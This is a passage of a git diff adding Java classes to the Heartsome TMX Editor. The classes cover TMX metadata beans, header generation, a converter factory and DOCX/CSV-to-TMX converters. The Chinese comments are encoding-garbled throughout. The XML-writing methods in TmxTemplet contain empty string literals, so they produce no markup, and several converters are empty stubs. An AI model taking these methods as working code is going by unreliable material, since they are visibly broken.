¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.bean; + +import java.util.List; + +public class TmxPropertiesBean { + private String version; + private String location; + private String fileSize; + private String creator; + private String creationDate; + private String creationTooles; + private String creationTooleVersion; + private int tuNumber; + private String srcLang; + private List targetLang; + + public TmxPropertiesBean(){ + + } + /** + * @param location + * @param srcLang + * @param targetLang + */ + public TmxPropertiesBean(String location, String srcLang, List targetLang) { + super(); + this.location = location; + this.srcLang = srcLang; + this.targetLang = targetLang; + } + + /** @return the version */ + public String getVersion() { + return version; + } + + /** + * @param version + * the version to set + */ + public void setVersion(String version) { + this.version = version; + } + + /** @return the location */ + public String getLocation() { + return location; + } + + /** + * @param location + * the location to set + */ + public void setLocation(String location) { + this.location = location; + } + + /** @return the fileSize */ + public String getFileSize() { + return fileSize; + } + + /** + * @param fileSize + * the fileSize to set + */ + public void setFileSize(String fileSize) { + this.fileSize = fileSize; + } + + /** @return the creator */ + public String getCreator() { + return creator; + } + + /** + * @param creator + * the creator to set + */ + public void setCreator(String creator) { + this.creator = creator; + } + + /** @return the creationDate */ + public String getCreationDate() { + return creationDate; + } + + /** + * @param creationDate + * the creationDate to set + */ + public void setCreationDate(String creationDate) { + this.creationDate = creationDate; + } + + /** @return the creationTooles */ + public String getCreationTooles() { + return creationTooles; + } + + /** + * @param creationTooles + * the creationTooles to set + */ + public void setCreationTooles(String creationTooles) { + this.creationTooles = creationTooles; + } + + /** @return the tuNumber */ + public int getTuNumber() { + return tuNumber; + } + + /** + * @param tuNumber + * the tuNumber to set + */ + public void setTuNumber(int tuNumber) { + this.tuNumber = tuNumber; + } + + /** @return the srcLang */ + public String getSrcLang() { + return srcLang; + } + + /** + * @param srcLang + * the srcLang to set + */ + public void setSrcLang(String srcLang) { + this.srcLang = srcLang; + } + + /** @return the targetLang */ + public List getTargetLang() { + return targetLang; + } + + /** + * @param targetLang + * the targetLang to set + */ + public void setTargetLang(List targetLang) { + this.targetLang = targetLang; + } + public String getCreationTooleVersion() { + return creationTooleVersion; + } + public void setCreationTooleVersion(String creationTooleVersion) { + this.creationTooleVersion = creationTooleVersion; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxTemplet.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxTemplet.java new file mode 100644 index 0000000..5b73641 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/bean/TmxTemplet.java @@ -0,0 +1,142 @@ +/** + * TmxHeaderTemple.java + * + * Version information : + * + * Date:2013-9-9 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.bean; + +import java.util.Calendar; +import java.util.Locale; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.util.DateUtils; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.Platform; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class TmxTemplet { + + /** + * ç”Ÿæˆ TMX Header 节点 + * @param srcLang + * ä¸èƒ½ä¸ºç©ºï¼Œç¬¦åˆè¯­è¨€ä»£ç æ ‡å‡† + * @param dataType + * 为空时,默认值为unknown + * @param segtype + * 为空时,默认值为sentence + * @param otmf + * 为空时,默认值为 unknown + * @param creationtool + * 为空时,默认值为 RCP 产å“é…ç½®å称 + * @param createToolVersion + * 为空时,默认值为 RCP 产å“ç‰ˆæœ¬å· + * @param creationid + * 为空时,å–系统属性 user.name + * @return ; + */ + public static TmxHeader generateTmxHeader(String srcLang, String dataType, String segtype, String otmf, + String creationtool, String createToolVersion, String creationid) { + Assert.isLegal(srcLang != null && srcLang.length() != 0); + if (dataType == null || dataType.length() == 0) { + dataType = "unknown"; + } + if (segtype == null || segtype.length() == 0) { + segtype = "sentence"; + } + if (otmf == null || otmf.length() == 0) { + otmf = "unknown"; + } + if (creationtool == null || creationtool.length() == 0) { + creationtool = getProductName(); + } + if (createToolVersion == null || createToolVersion.length() == 0) { + createToolVersion = getProductVersion(); + } + if (creationid == null || creationid.length() == 0) { + creationid = System.getProperty("user.name"); + } + String nowUTC = DateUtils.formatToUTC(Calendar.getInstance().getTimeInMillis()); + TmxHeader header = new TmxHeader(); + header.setAdminlang(Locale.getDefault().toString().replaceAll("_", "-")); + header.setSrclang(srcLang); + header.setCreationtool(creationtool); + header.setCreationtoolversion(getProductVersion()); + header.setDatatype(dataType); + header.setOtmf(otmf); + header.setSegtype(segtype); + header.setCreationid(creationid); + header.setCreationdate(nowUTC); + return header; + } + + /** + * å°† Header ç”Ÿæˆ XML 内容 + * @param tmxHeader + * @return ; + */ + public static String header2Xml(TmxHeader tmxHeader) { + String lineSp = System.getProperty("line.separator"); + StringBuilder sb = new StringBuilder(); + sb.append("").append(lineSp); + sb.append("").append(lineSp); + return sb.toString(); + } + + /** + * ç”Ÿæˆ TMX XML申明部分 + * @return ; + */ + public static String genertateTmxXmlDeclar() { + StringBuilder sb = new StringBuilder(); + sb.append("").append(System.getProperty("line.separator")); + sb.append( + "") + .append(System.getProperty("line.separator")); + return sb.toString(); + } + + private static String wrapTextUseQout(String srcText) { + return "\"" + srcText + "\""; + } + + public static String getProductVersion() { + String version = System.getProperty("version", "");//$NON-NLS-1$ //$NON-NLS-2$ + return (null == version || version.isEmpty()) ? "8.0" : version; + } + + public static String getProductName() { + String name = Platform.getProduct().getName(); + return (null == name || name.isEmpty()) ? "Heartsome TMX Editor" : name; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/AbstractFile2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/AbstractFile2Tmx.java new file mode 100644 index 0000000..3940b88 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/AbstractFile2Tmx.java @@ -0,0 +1,32 @@ +/** + * AbstractFile2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + +package net.heartsome.cat.te.core.converter; + +import org.eclipse.core.runtime.IProgressMonitor; + + +public abstract class AbstractFile2Tmx { + + /** + * Update by Yule 2013-8-23 添加进度å‚æ•° + * @param file2TmxBean + * @param monitor + * :monitor的开始 ,进度控制 ,结æŸéƒ½åœ¨æ–¹æ³•å†…部完æˆã€‚是一个å­ä»»åŠ¡
    + * : 注æ„任务å–消得情况 + * @throws Exception ; + */ + public abstract void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean file2TmxBean,IProgressMonitor monitor) throws Exception; + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/AbstractTmx2File.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/AbstractTmx2File.java new file mode 100644 index 0000000..0305883 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/AbstractTmx2File.java @@ -0,0 +1,44 @@ +/** + * AbstractTmx2File.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + +package net.heartsome.cat.te.core.converter; + +import java.io.File; + +import org.eclipse.core.runtime.IProgressMonitor; + +import net.heartsome.cat.document.TmxReader; + + +public abstract class AbstractTmx2File { + public TmxReader tmxReader; + /** + * åˆå§‹åŒ– TMXReader + * + * @param tmxFile + **/ + public void OpenTmxFile(File tmxFile) { + + } + /** + * Update by Yule 2013-8-23 添加进度å‚æ•° + * @param tmxFile + * @param targetFile + * @param monitor + * :monitor的开始 ,进度控制 ,结æŸéƒ½åœ¨æ–¹æ³•å†…部完æˆã€‚是一个å­ä»»åŠ¡
    + * : 注æ„任务å–消得情况 + * @throws Exception ; + */ + public abstract void doCovnerter(String tmxFile, File targetFile,IProgressMonitor monitor) throws Exception; +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/ConverterFactory.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/ConverterFactory.java new file mode 100644 index 0000000..a4f84ed --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/ConverterFactory.java @@ -0,0 +1,155 @@ +/** + * ConverterFactory.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter; + +import java.util.HashMap; +import java.util.Locale; +import java.util.Map; + +import net.heartsome.cat.te.core.converter.csv.Csv2Tmx; +import net.heartsome.cat.te.core.converter.csv.Tmx2Csv; +import net.heartsome.cat.te.core.converter.docx.Docx2Tmx; +import net.heartsome.cat.te.core.converter.docx.Tmx2Docx; +import net.heartsome.cat.te.core.converter.hstm.Hstm2Tmx; +import net.heartsome.cat.te.core.converter.hstm.Tmx2Hstm; +import net.heartsome.cat.te.core.converter.tbx.Tbx2Tmx; +import net.heartsome.cat.te.core.converter.tbx.Tmx2Tbx; +import net.heartsome.cat.te.core.converter.txt.Tmx2Txt; +import net.heartsome.cat.te.core.converter.txt.Txt2Tmx; +import net.heartsome.cat.te.core.converter.xlsx.Tmx2xlsx; +import net.heartsome.cat.te.core.converter.xlsx.Xlsx2Tmx; + +public final class ConverterFactory { + + public final static int FILE_TYPE_DOCX = 1; + + public final static int FILE_TYPE_CSV = 2; + + public final static int FILE_TYPE_XLSX = 3; + + public final static int FILE_TYPE_TXT = 4; + + public final static int FILE_TYPE_TBX = 5; + + public final static int FILE_TYPE_HSTM = 6; + + /** + * Tmx转æ¢æˆå…¶ä»–文件 + * @param fileType + * @return ; + */ + public static AbstractTmx2File getTmx2FileConverter(int fileType) { + switch (fileType) { + case FILE_TYPE_DOCX: + return new Tmx2Docx(); + + case FILE_TYPE_CSV: + return new Tmx2Csv(); + + case FILE_TYPE_XLSX: + return new Tmx2xlsx(); + + case FILE_TYPE_TXT: + return new Tmx2Txt(); + + case FILE_TYPE_TBX: + return new Tmx2Tbx(); + + case FILE_TYPE_HSTM: + return new Tmx2Hstm(); + + default: + return null; + } + + } + + /** + * 其他文件转化æˆTmx + * @param sourceFile + * @return ; + */ + public static AbstractFile2Tmx getFile2TmxConverter(String sourceFile) { + return getFile2TmxConverter(getFileType(sourceFile)); + } + + /** + * 其他文件转化æˆTmx + * @param sourceFile + * @return ; + */ + public static AbstractFile2Tmx getFile2TmxConverter(int fileType) { + switch (fileType) { + + case FILE_TYPE_DOCX: + return new Docx2Tmx(); + + case FILE_TYPE_CSV: + return new Csv2Tmx(); + + case FILE_TYPE_XLSX: + return new Xlsx2Tmx(); + + case FILE_TYPE_TXT: + return new Txt2Tmx(); + + case FILE_TYPE_TBX: + return new Tbx2Tmx(); + + case FILE_TYPE_HSTM: + return new Hstm2Tmx(); + + default: + return null; + } + } + + /** + * 文件å转æ¢æˆæ–‡ä»¶ç±»åž‹ + * @param sourceFile + * @return ; + */ + public static int getFileType(String sourceFile) { + if (null == sourceFile || sourceFile.trim().isEmpty()) { + return -1; + } + String tempName = sourceFile.toLowerCase(Locale.ENGLISH); + if (tempName.endsWith(".docx")) { + return FILE_TYPE_DOCX; + } else if (tempName.endsWith(".csv")) { + return FILE_TYPE_CSV; + } else if (tempName.endsWith(".xlsx")) { + return FILE_TYPE_XLSX; + } else if (tempName.endsWith(".txt")) { + return FILE_TYPE_TXT; + } else if (tempName.endsWith(".tbx")) { + return FILE_TYPE_TBX; + } else if (tempName.endsWith(".hstm")) { + return FILE_TYPE_HSTM; + } else { + return -1; + } + } + + public static Map getAllTmx2FileConverterName() { + Map map = new HashMap(); + map.put(FILE_TYPE_DOCX, Tmx2Docx.NAME); + map.put(FILE_TYPE_CSV, Tmx2Csv.NAME); + map.put(FILE_TYPE_XLSX, Tmx2xlsx.NAME); + map.put(FILE_TYPE_TXT, Tmx2Txt.NAME); + map.put(FILE_TYPE_TBX, Tmx2Tbx.NAME); + map.put(FILE_TYPE_HSTM, Tmx2Hstm.NAME); + return map; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/TmxUtil.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/TmxUtil.java new file mode 100644 index 0000000..25b4b46 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/TmxUtil.java @@ -0,0 +1,71 @@ +/** + * TmxUtil.java + * + * Version information : + * + * Date:2013-12-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.core.converter; + +import java.io.File; +import java.io.IOException; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.ModifyException; +import com.ximpleware.ParseException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.XMLModifier; + +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.xml.vtdimpl.EmptyFileException; +import net.heartsome.xml.vtdimpl.VTDLoader; + +/** + * @author yule + * @version + * @since JDK1.6 + */ +public class TmxUtil { + + private static Logger LOGGER = LoggerFactory.getLogger(TmxUtil.class); + + /** + * 清ç†ä¸èƒ½è§£æžçš„字符 + * @param tmxPath + * ; + */ + public static VTDGen clearUnableParseChars(String tmxPath) { + File f = new File(tmxPath); + if (!f.exists() || !f.canWrite()) { + LOGGER.info(tmxPath + "can not write"); + return null; + } + String detectFileEncoding = FileEncodingDetector.detectFileEncoding(f); + try { + VTDGen loadVTDGen = VTDLoader.loadVTDGen(f, detectFileEncoding); + XMLModifier modeModifier = new XMLModifier(loadVTDGen.getNav()); + modeModifier.output(tmxPath); + return loadVTDGen; + } catch (ParseException e) { + LOGGER.error("parse " + tmxPath + "failed"); + } catch (IOException e) { + LOGGER.error("io error" + e.getMessage()); + } catch (EmptyFileException e) { + LOGGER.error(tmxPath + "is empty"); + } catch (ModifyException e) { + LOGGER.error("", e); + } catch (TranscodeException e) { + LOGGER.error("", e); + } + return null; + } + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/csv/Csv2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/csv/Csv2Tmx.java new file mode 100644 index 0000000..5ba5ae8 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/csv/Csv2Tmx.java @@ -0,0 +1,24 @@ +/** + * Csv2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + +package net.heartsome.cat.te.core.converter.csv; + +import org.eclipse.core.runtime.IProgressMonitor; + + +public class Csv2Tmx extends net.heartsome.cat.te.core.converter.AbstractFile2Tmx { + public void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean file2TmxBean,IProgressMonitor monitor) { + + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/csv/Tmx2Csv.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/csv/Tmx2Csv.java new file mode 100644 index 0000000..08e8581 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/csv/Tmx2Csv.java @@ -0,0 +1,28 @@ +/** + * Tmx2Csv.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.csv; + +import java.io.File; + +import org.eclipse.core.runtime.IProgressMonitor; + +import net.heartsome.cat.te.core.converter.AbstractTmx2File; + +public class Tmx2Csv extends AbstractTmx2File { + public static final String NAME ="csv"; + + public void doCovnerter(String tmxFile, File targetFile,IProgressMonitor monitor) { + + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/docx/Docx2Tmx.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/docx/Docx2Tmx.java new file mode 100644 index 0000000..f509db2 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/converter/docx/Docx2Tmx.java @@ -0,0 +1,445 @@ +/** + * Docx2Tmx.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.converter.docx; + +import java.io.BufferedOutputStream; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileOutputStream; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.channels.FileChannel; +import java.text.MessageFormat; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.te.core.bean.File2TmxConvertBean; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.core.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +public class Docx2Tmx extends net.heartsome.cat.te.core.converter.AbstractFile2Tmx { + + public static Logger LOGGER = LoggerFactory.getLogger(Docx2Tmx.class.getName()); + private final String ns_w = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"; + private int appendOffset = -1; + private List langs = new LinkedList(); + + public void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean bean, IProgressMonitor monitor) + throws Exception { + + if (bean.appendExistTmxFilePath == null) {// 新生æˆæ–‡ä»¶ + if (bean.sourceFilePath == null || (!new File(bean.sourceFilePath).exists())) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + this.newTmxFile(bean, monitor); + } else { + this.appendTmxFile(bean, monitor); + } + } + + /** + * å°† docx 文件转æ¢æˆæ–°çš„ tmx 文件 + * @param bean + */ + private void newTmxFile(File2TmxConvertBean bean, IProgressMonitor monitor) throws Exception { + + BufferedWriter bwriter = null; + try { + bwriter = new BufferedWriter(new FileWriter(new File(bean.newTmxFilePath))); + } catch (IOException e) { + LOGGER.error("程åºé”™è¯¯", e); + throw e; + } + + monitor.beginTask(Messages.getString("converter.docx2tmx.docx.parsedocx"), 100); + monitor.setTaskName(Messages.getString("converter.docx2tmx.docx.parsedocx")); + monitor.worked(1); + + VTDGen vg = new VTDGen(); + if (!vg.parseZIPFile(bean.sourceFilePath, "word/document.xml", true)) { + File file = new File(bean.sourceFilePath); + Exception e = new Exception(MessageFormat.format(Messages.getString("converter.docx2tmx.docx.error"), + file.getName())); + LOGGER.info(e.getMessage(), e); + throw e; + } + if (monitor.isCanceled()) { + return; + } + monitor.worked(9); + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 90); + subMonitor.beginTask("", 100); + subMonitor.setTaskName(Messages.getString("converter.docx2tmx.docx.readdocx")); + + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("w", ns_w); + try { + ap.selectXPath("/w:document/w:body/w:tbl/w:tr");// é€è¡Œè§£æž + if (ap.evalXPath() != -1) { + getLangs(bean, vn);// ç¬¬ä¸€è¡Œä¸ºè¯­è¨€ä»£ç  + valiteLangs(bean); + } else { + Exception e = new Exception(Messages.getString("converter.docx2tmx.docx.invaild")); + LOGGER.info(e.getMessage()); + throw e; + } + String xmlDecl = TmxTemplet.genertateTmxXmlDeclar(); + bwriter.write(xmlDecl); + TmxHeader header = TmxTemplet.generateTmxHeader(bean.srcLangCode, "unknown", "sentence", + "Microsoft Word", null, null, null); + bwriter.write("\n"); + bwriter.write(TmxTemplet.header2Xml(header)); + bwriter.write("\n"); + String tuContent; + + AutoPilot tmpAp = new AutoPilot(vn); + tmpAp.declareXPathNameSpace("w", ns_w); + tmpAp.selectXPath("count(/w:document/w:body/w:tbl/w:tr)"); + double total = tmpAp.evalXPathToNumber() - 1; + int worked = 0; + int count = 0; + int tmp = 0; + + while (ap.evalXPath() != -1) { + if (monitor.isCanceled()) { + return; + } + tuContent = getTuFromTr(bean, vn); + if (tuContent != null) { + bwriter.write(tuContent); + } + tmp = (int) ((count++ / total) * 100); + if (tmp > worked) { + subMonitor.worked(tmp - worked); + worked = tmp; + } + } + subMonitor.done(); + bwriter.write("\n"); + bwriter.flush(); + monitor.done(); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (IOException e) { + LOGGER.error("写入文件时出错", e); + } finally { + try { + if (bwriter != null) { + bwriter.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + } + + private void valiteLangs(File2TmxConvertBean bean) throws Exception { + for (int i = 0; i < langs.size(); i++) { + if (!LocaleService.getDefaultLanguage().containsKey(LanguageUtils.convertLangCode(langs.get(i)))) { + throw new Exception(Messages.getString("converter.common.vaild.langcode.error")); + } + } + + Set testSet = new HashSet(); + testSet.add(bean.srcLangCode); + testSet.addAll(langs); + if (testSet.size() != langs.size() + 1) { + throw new Exception(Messages.getString("converter.common.vaild.duplicatelangcode.error")); + } + } + + /** + * å°† tmx 内容附加到指定文件中 + * @param bean + * @param bos + * @param fos + * @throws Exception + */ + private void appendTmxFile(File2TmxConvertBean bean, IProgressMonitor monitor) throws Exception { + + BufferedOutputStream bos = null; + monitor.beginTask(Messages.getString(""), 100); + monitor.worked(1); + monitor.setTaskName(Messages.getString("converter.docx2tmx.docx.testappend")); + + // 附加 tmx 文件的æºè¯­è¨€ + String appendFileSrcLang = getSrclangAndTuOffset(bean.appendExistTmxFilePath); + + monitor.worked(4); + // è§£æž docx 的文件内容 + VTDGen vg = new VTDGen(); + if (!vg.parseZIPFile(bean.sourceFilePath, "word/document.xml", true)) { + Exception e = new Exception(MessageFormat.format(Messages.getString("converter.docx2tmx.docx.error"), + bean.sourceFilePath)); + LOGGER.error("", e); + throw e; + } + monitor.worked(5); + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 90); + subMonitor.beginTask(Messages.getString("converter.docx2tmx.docx.readdocx"), 100); + subMonitor.setTaskName(Messages.getString("converter.docx2tmx.docx.readdocx")); + + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main"); + try { + ap.selectXPath("/w:document/w:body/w:tbl/w:tr");// é€è¡Œè§£æž + if (ap.evalXPath() == -1) { + Exception e = new Exception(Messages.getString("converter.docx2tmx.docx.invaild")); + LOGGER.info(e.getMessage(), e); + throw e; + } + getLangs(bean, vn); + valiteLangs(bean); + if 